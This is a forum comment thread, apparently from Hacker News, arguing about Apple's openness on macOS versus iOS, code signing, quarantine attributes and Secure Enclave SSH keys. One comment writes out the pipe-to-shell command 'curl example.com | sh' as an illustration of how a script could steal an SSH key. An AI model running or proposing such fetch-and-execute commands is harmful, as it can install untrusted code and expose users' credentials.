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MacOS handles it pretty well, I can use it to do what Doctorow calls general computing and my mother can use it to shop and do email. Apple allowing freedom for
by walthamstow 1y ago
MacOS handles it pretty well, I can use it to do what Doctorow calls general computing and my mother can use it to shop and do email. Apple allowing freedom for MacOS but not iOS is inconsistent and I see no good reason for that.
- Almondsetat 1y agoIt is perfectly consistent: iOS is not for general computing
- EasyMark 1y ago.... yet. We as consumers could push for this though with enough momentum. Not likely but there is nothing stopping Apple from doing it from a technical standpoint other than greed.
- vbezhenar 1y agoMacOS does not handle it well. I can run `curl example.com | sh` and it'll steal my ssh key.
- leshenka 1y agoYou have an option to keep your SSH key in the Secure Enclave behind TouchID or YubiKey https://github.com/maxgoedjen/secretive https://github.com/maxgoedjen/secretive
- MillironX 1y agoExcept Apple code signing on MacOS is basically what Google is trying to copy over to Android. I can run arbitrary programs on MacOS, but I have to go and remove the com.apple.quarantine attribute from any application that doesn't have Apple's explicit permission to exist, i.e. most FOSS apps. I suspect that option will go away eventually.
- BriggyDwiggs42 1y agoHighly unlikely they’d remove the option with how many devs use macos
- Rohansi 1y agoI think it's more likely Apple will shift everyone to using iPads and phase out Mac.
- tim333 1y agoThey'd have a job doing that one. Speaking as a 30 year laptop user with no interest in ipads. I've never seen the point of ipads - it's like a phone that can't make phone calls.
- Rohansi 1y agoI'm with you but it's not up to us. Computing has been moving more and more away from desktops and laptops in new (human) generations. iPadOS is slowly becoming Mac-like where you can have a cursor, dock, and have apps open as windows. The Pro models already use the same silicon as some Macs. They could start by eliminating the lower spec Macs because the iPad is basically the same but with a touch screen. You'll just need to get all your apps on the App Store so Apple gets their cut.
- IshKebab 1y agoThey definitely will. They'll change it so that you can locally sign apps with a key that only works on your machine.
- mike_hearn 1y agoThat already happened. ARM Macs require code to either be signed or "ad-hoc signed", which doesn't use a key so it's not really a signature, it's more like a SHA hash whitelist that's local to your machine.